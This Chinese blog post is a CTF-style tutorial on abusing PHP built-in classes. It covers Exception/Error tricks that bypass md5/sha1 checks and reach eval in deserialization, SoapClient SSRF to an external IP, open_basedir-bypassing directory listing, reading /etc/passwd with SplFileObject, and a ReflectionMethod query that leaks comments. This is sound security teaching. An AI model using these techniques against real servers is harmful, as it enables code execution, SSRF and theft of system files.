[php安全]原生类的利用
php原生类的利用
查看原生类中具有魔法函数的类
$classes = get_declared_classes();
foreach ($classes as $class) {
$methods = get_class_methods($class);
foreach ($methods as $method) {
if (in_array($method, array(
'__destruct',
'__toString',
'__wakeup',
'__call',
'__callStatic',
'__get',
'__set',
'__isset',
'__unset',
'__invoke',
'__set_state' // 可以根据题目环境将指定的方法添加进来, 来遍历存在指定方法的原生类
))) {
print $class . '::' . $method . "\n"."<br/>";
}
}
}
/**
Exception::__wakeup
Exception::__toString
ErrorException::__wakeup
ErrorException::__toString
Error::__wakeup
Error::__toString
ParseError::__wakeup
ParseError::__toString
TypeError::__wakeup
TypeError::__toString
ArithmeticError::__wakeup
ArithmeticError::__toString
DivisionByZeroError::__wakeup
DivisionByZeroError::__toString
Generator::__wakeup
ClosedGeneratorException::__wakeup
ClosedGeneratorException::__toString
DateTime::__wakeup
DateTime::__set_state
DateTimeImmutable::__wakeup
DateTimeImmutable::__set_state
DateTimeZone::__wakeup
DateTimeZone::__set_state
DateInterval::__wakeup
DateInterval::__set_state
DatePeriod::__wakeup
DatePeriod::__set_state
LogicException::__wakeup
LogicException::__toString
BadFunctionCallException::__wakeup
BadFunctionCallException::__toString
BadMethodCallException::__wakeup
BadMethodCallException::__toString
DomainException::__wakeup
DomainException::__toString
InvalidArgumentException::__wakeup
InvalidArgumentException::__toString
LengthException::__wakeup
LengthException::__toString
OutOfRangeException::__wakeup
OutOfRangeException::__toString
RuntimeException::__wakeup
RuntimeException::__toString
OutOfBoundsException::__wakeup
OutOfBoundsException::__toString
OverflowException::__wakeup
OverflowException::__toString
RangeException::__wakeup
RangeException::__toString
UnderflowException::__wakeup
UnderflowException::__toString
UnexpectedValueException::__wakeup
UnexpectedValueException::__toString
CachingIterator::__toString
RecursiveCachingIterator::__toString
SplFileInfo::__toString
DirectoryIterator::__toString
FilesystemIterator::__toString
RecursiveDirectoryIterator::__toString
GlobIterator::__toString
SplFileObject::__toString
SplTempFileObject::__toString
SplFixedArray::__wakeup
ReflectionException::__wakeup
ReflectionException::__toString
ReflectionFunctionAbstract::__toString
ReflectionFunction::__toString
ReflectionParameter::__toString
ReflectionType::__toString
ReflectionMethod::__toString
ReflectionClass::__toString
ReflectionObject::__toString
ReflectionProperty::__toString
ReflectionExtension::__toString
ReflectionZendExtension::__toString
AssertionError::__wakeup
AssertionError::__toString
DOMException::__wakeup
DOMException::__toString
PDOException::__wakeup
PDOException::__toString
PDO::__wakeup
PDOStatement::__wakeup
SimpleXMLElement::__toString
SimpleXMLIterator::__toString
CURLFile::__wakeup
mysqli_sql_exception::__wakeup
mysqli_sql_exception::__toString
PharException::__wakeup
PharException::__toString
Phar::__destruct
Phar::__toString
PharData::__destruct
PharData::__toString
PharFileInfo::__destruct
PharFileInfo::__toString
*/
原生类绕 Exception Error 绕过md5/sha1(其实还可以进行xss,可以自行搜索)
有时候,在题目中出现了反序列化,但是没有给出具体类,一般不是源码泄露再审计,就是利用php的原生类。
[2020 Geek Challenge GreatPHP]
<?php
error_reporting(0);
class SYCLOVER {
public $syc;
public $lover;
public function __wakeup(){
if( ($this->syc != $this->lover) && (md5($this->syc) === md5($this->lover)) && (sha1($this->syc)=== sha1($this->lover)) ){
if(!preg_match("/\<\?php|\(|\)|\"|\'/", $this->syc, $match)){
eval($this->syc);
} else {
die("Try Hard !!");
}
}
}
}
if (isset($_GET['great'])){
unserialize($_GET['great']);
} else {
highlight_file(__FILE__);
}
?>
我们的目的就是绕过md5和sha1的校验,最后执行evilCode。
看到md5和sha1的比较,最先想到的就是利用md5和sha1都无法解析数组绕过,事实证明确实可以绕过md5和sha1的检测。但却无法执行代码。调试发现,eval无法解析数组变量,并返回错误。。。这不就直接卡死在这儿。 强类型匹配,除了利用函数解析漏洞,就只能真的靠md5值真相等了。但直接强行找两个文件md5值相等,而且有一个其中还是可以执行的代码,我觉得这不太可能把!!!
看了大师傅的WP,发现可以用Exception类进行绕过。
$str = "?>"; 中为什么要在前面加上一个 ?> 呢?因为 Exception 类与 Error 的 __toString 方法在eval()函数中输出的结果是不可控的,即输出的报错信息中,payload前面还有一段杂乱信息“Error: ”
原生类 SoapClient 进行SSRF
SoapClient是php拓展用于发起web请求的工具。它内置一个__call魔术方法,当被触发时,会进行web访问请求。这个比较常用
<?php
$a = new SoapClient(null,array('location'=>'http://47.xxx.xxx.72:2333/aaa', 'uri'=>'http://47.xxx.xxx.72:2333'));
$b = serialize($a);
echo $b;
$c = unserialize($b);
$c->a(); // 随便调用对象中不存在的方法, 触发__call方法进行ssrf
?>
原生类进行目录遍历
DirectoryIterator
FilesystemIterator
GlobIterator
DirectoryIterator与glob://协议结合将无视open_basedir对目录的限制,可以用来列举出指定目录下的文件。
原生类进行读取文件
<?php
$context = new SplFileObject('/etc/passwd');
foreach($context as $f){
echo($f);
}
使用 ReflectionMethod 类获取类方法的相关信息
[2021 CISCN]easy_source
<?php
class User
{
private static $c = 0;
function a()
{
return ++self::$c;
}
function b()
{
return ++self::$c;
}
function c()
{
return ++self::$c;
}
function d()
{
return ++self::$c;
}
function e()
{
return ++self::$c;
}
function f()
{
return ++self::$c;
}
function g()
{
return ++self::$c;
}
function h()
{
return ++self::$c;
}
function i()
{
return ++self::$c;
}
function j()
{
return ++self::$c;
}
function k()
{
return ++self::$c;
}
function l()
{
return ++self::$c;
}
function m()
{
return ++self::$c;
}
function n()
{
return ++self::$c;
}
function o()
{
return ++self::$c;
}
function p()
{
return ++self::$c;
}
function q()
{
return ++self::$c;
}
function r()
{
return ++self::$c;
}
function s()
{
return ++self::$c;
}
function t()
{
return ++self::$c;
}
}
$rc=$_GET["rc"]; // 传入原生类名
$rb=$_GET["rb"]; // 传入类属性
$ra=$_GET["ra"]; // 传入类属性
$rd=$_GET["rd"]; // 传入类方法
$method= new $rc($ra, $rb); // 实例化刚才传入的原生类
var_dump($method->$rd()); // 调用类中的方法
利用 PHP 内置类中的 ReflectionMethod 类中的 getDocComment() 方法来读取 User 类里面各个函数的注释。
?rc=ReflectionMethod&ra=User&rb=a&rd=getDocComment
[Refer](https://whoamianony.top/2021/03/10/Web安全/PHP 原生类的利用小结/)
[php安全]原生类的利用的更多相关文章
- 反序列化之PHP原生类的利用
目录 基础知识 __call SoapClient __toString Error Exception 实例化任意类 正文 文章围绕着一个问题,如果在代码审计中有反序列化点,但是在原本的代码中找不到 ...
- net core天马行空系列: 一个接口多个实现类,利用mixin技术通过自定义服务名,实现精准属性注入
系列目录 1.net core天马行空系列:原生DI+AOP实现spring boot注解式编程 2.net core天马行空系列: 泛型仓储和声明式事物实现最优雅的crud操作 哈哈哈哈,大家好,我 ...
- XML带多属性解析为一个实体类(利用反射)
最近在对接一个银行的项目,大概就是类似一个钱包的功能,在请求返回的数据时,发现返回的数据标准的XML格式的支付串,格式如下 <kColl id="inputOrig" app ...
- 【转】一个小工具类,利用shareObject把数据缓存
原文链接:http://bbs.9ria.com/thread-284082-1-2.html 之前做一个数据缓存,就顺便把写入缓存,清除缓存,获取缓存都整理了一下,其中也做了些参考,个人水平有限,有 ...
- GradientDrawable类的利用动态设置样式中的颜色
1.xml样式文件 <?xml version="1.0" encoding="utf-8"?> <shape xmlns:android=& ...
- MUI离线原生打包,利用Android Studio进行原生打包MUI项目
首先从官网http://www.dcloud.io/ 下载HBuilder,用该软件创建一个HTML5的移动APP项目,具体可去官网查看相应的文档. 接下来就是如何将写好的HBuilder引入到我们的 ...
- 105、Java中String类之利用indexOf()方法判断子字符串是否存在
01.代码如下: package TIANPAN; /** * 此处为文档注释 * * @author 田攀 微信382477247 */ public class TestDemo { public ...
- 089、Java中String类之利用构造方法实例化
01.代码如下: package TIANPAN; /** * 此处为文档注释 * * @author 田攀 微信382477247 */ public class TestDemo { public ...
- Struts2中实现Web项目的初始化工作
Struts2中实现Web项目的初始化工作 注:通常web系统在启动时需要做一些初始化的工作,比如初始化系统全局变量,加载自定义配置文件,启动定时任务等. 一.在Struts中实现系统的初始化工作 ...
随机推荐
- Forest v1.5.12 发布,声明式 HTTP 框架,已超过 1.6k star
Forest介绍 Forest 是一个开源的 Java HTTP 客户端框架,它能够将 HTTP 的所有请求信息(包括 URL.Header 以及 Body 等信息)绑定到您自定义的 Interfac ...
- Docker安装配置Tomcat
1.使用docker pull tomcat下载镜像(不加tag则是下载最新版本) 2.运行容器(-d 后台运行:-p 指定端口映射),接的是镜像ID 3.进入容器执行命令,接的是容器ID 4.宿主机 ...
- 深入剖析 RocketMQ 源码 - 消息存储模块
一.简介 RocketMQ 是阿里巴巴开源的分布式消息中间件,它借鉴了 Kafka 实现,支持消息订阅与发布.顺序消息.事务消息.定时消息.消息回溯.死信队列等功能.RocketMQ 架构上主要分为四 ...
- springmvc学习笔记(全)
SpringMVC简介 什么是MVC MVC是一种软件架构的思想,将软件按照模型.视图.控制器来划分 M: Model:模型层,指工程中的JavaBean,作用是处理数据.JavaBean分为两类: ...
- Apache Hudi在华米科技的应用-湖仓一体化改造
徐昱 Apache Hudi Contributor:华米高级大数据开发工程师 巨东东 华米大数据开发工程师 1. 应用背景及痛点介绍 华米科技是一家基于云的健康服务提供商,拥有全球领先的智能可穿戴技 ...
- 印象最深的一个bug:sessionStorage缓存在移动端失效
无bug,不程序:作为程序员的我,不是修bug就是在写bug的路上. 移动端sessionStorage缓存失效是我"印象最深的一个bug"之一,为啥呢,因为这个问题导致我加班到很 ...
- js--history 对象详解
前言 我们浏览一个网页时可能不太会注意网页前进后退这些操作,但是在开发时你是否想过页面之间的跳转经历了什么,浏览器时怎么保存的页面信息,重新返回上一个页面的时候是否需要重新加载页面呢,会有很对疑问,要 ...
- [bzoj5294]二进制
首先可以发现$2^k$模3意义下有循环节,也就是1,-1,1,-1--考虑对于x个1,y个0,判断是否存在3的倍数1.x为偶数时一定可以,选择等量的1和-1即可2.x为奇数,要满足$x\ge 3$且$ ...
- Scrum精髓读书笔记
Scrum精髓 四 . Sprint Sprint的定义 Scrum在最长一个月的迭代或周期中安排工作,一般为2个星期,这些迭代或周期称为Sprint Sprint提供基本的Scrum骨架,大多数其他 ...
- Java遍历map的五种方式
使用For-Each迭代entries 这是最常见的方法,并在大多数情况下更可取的.当你在循环中需要使用Map的键和值时,就可以使用这个方法 Map<Integer, Integer> m ...